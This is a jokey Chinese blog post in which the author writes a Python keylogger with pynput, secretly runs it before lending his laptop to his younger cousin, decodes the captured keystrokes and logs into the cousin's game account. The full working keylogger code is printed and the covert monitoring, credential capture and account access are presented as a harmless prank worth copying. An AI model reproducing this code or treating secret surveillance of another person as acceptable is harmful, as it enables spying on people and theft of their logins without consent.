hello,大家好,我是Dream,我又来了~Please 全体 stand up!
昨天我叔叔家的弟弟跟我说,要借一下我的电脑来学习,我当场直呼好家伙!半年不见,孩子思想有长进啊,我爽快地答应了!
事后一想,感觉此事不对,于是我又翻出了消息记录看一下:
这事绝对没这么简单,我不能被皮肤蒙蔽了双眼,毕竟这才是个6元皮,我倒要看看这小子究竟要干嘛,话不多说,开始研究!
先给个一键三连,再往下读呗,好不好嘛
让我们用热烈的掌声欢迎今天的主角登场:
from pynput.keyboard import Listener
keys=[]
def on_press(key):
str(key).replace("'","")
def on_release(key):
global keys
string = str(key).replace("'","")
keys.append('\r'+string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('D:\Dream瞎搞.txt', 'a') as f:
f.write(main_string)
keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
DuangDuangDuang
这是一个最简单的键盘监控系统,只要别人用电脑,一举一动都会记录下来!
简单的解释一下代码:
首先pynput是监听、操控鼠标和键盘的跨平台第三方python库。你可以通过pip insnall pynput来安装。安装时会自动下载依赖库。
然后:
def on_press(key)指:按键按下事件
def on_release(key)指: 按键释放事件
with Listener(on_press=on_press,on_release=on_release) as listener指:监听所有事件,直到释放
emmm…就大概是这么个意思,dddd 然后我把它监控到的数据存储到了路径是D:\Dream瞎搞.txt的txt文本文档中
大功告成! 希望明天小白鼠表现顺利!
第二天早上,我提前把我的程序先在电脑上运行起来了,然后一脸仁慈的把电脑给了弟弟。
看到他那么天真无牙的表情,我一下子就放心了,孩子这里水深,你把握不住~~~
到了晚上,他高高兴兴的把电脑还给了我,还吵着说要送我皮肤,额(⊙o⊙)…这孩子真可爱,哥哥最疼你了,鹅鹅鹅(⊙﹏⊙)
来吧,让我们一起来看看今天的成果吧,啧啧啧:
好家伙,我一看到这个www.我瞬间就不淡定了,这孩子还有网址啊,不行,我得进去看看,我把网址顺势连接了起来:www.luokewangguo.com,然后进行百度:
哇,这不是洛克王国吗,这孩子竟然背着我偷偷玩洛克王国。
这里数字变成的是键码的形式,需要我们去对照表格翻译一下
键 键码
0 96
1 97
2 98
3 99
4 100
5 101
6 102
7 103
8 104
9 105
然后我们轻松地破译出其相关信息,我带着好奇心登了进去。
可恶,我的火花都还没进化呢,这孩子都有烈火战神了,看来是没少玩,不行,我要向阿姨汇报一下。好小子,敢骗你哥,看我不好好惩罚一下你!
我立马联系了阿姨,阿姨说一定好好惩罚一下弟弟,对我赞不绝口!虽然皮肤没有了,但是作为一个好哥哥,让弟弟认真学习值了,正能量!
晚上没事,让我们去调戏一下他:
好家伙,看来我得抓紧跑路喽~
哈哈哈,这就是今天要给大家分享的全部内容了
如果你喜欢的话,就不要吝惜你的一键三连了~
对了,偷偷告诉大家一个秘密,我的Python基础和爬虫基础都是通过下面两本书学习的,需要的小伙伴们可以学一下哟,亲测有效~
学废了吗,欢迎大家观看这一栏目其他文章:
Python跨年表白神器
挑战用纯python写一个王者荣耀小游戏?
震惊!邻桌的程序猿比我能淦,带着好奇心我打开了他的电脑,发现惊天秘密,原因竟是
好家伙!弟弟竟然背着我用电脑干这个,我用python轻松的识破他的谎言,阿姨对我赞不绝口!~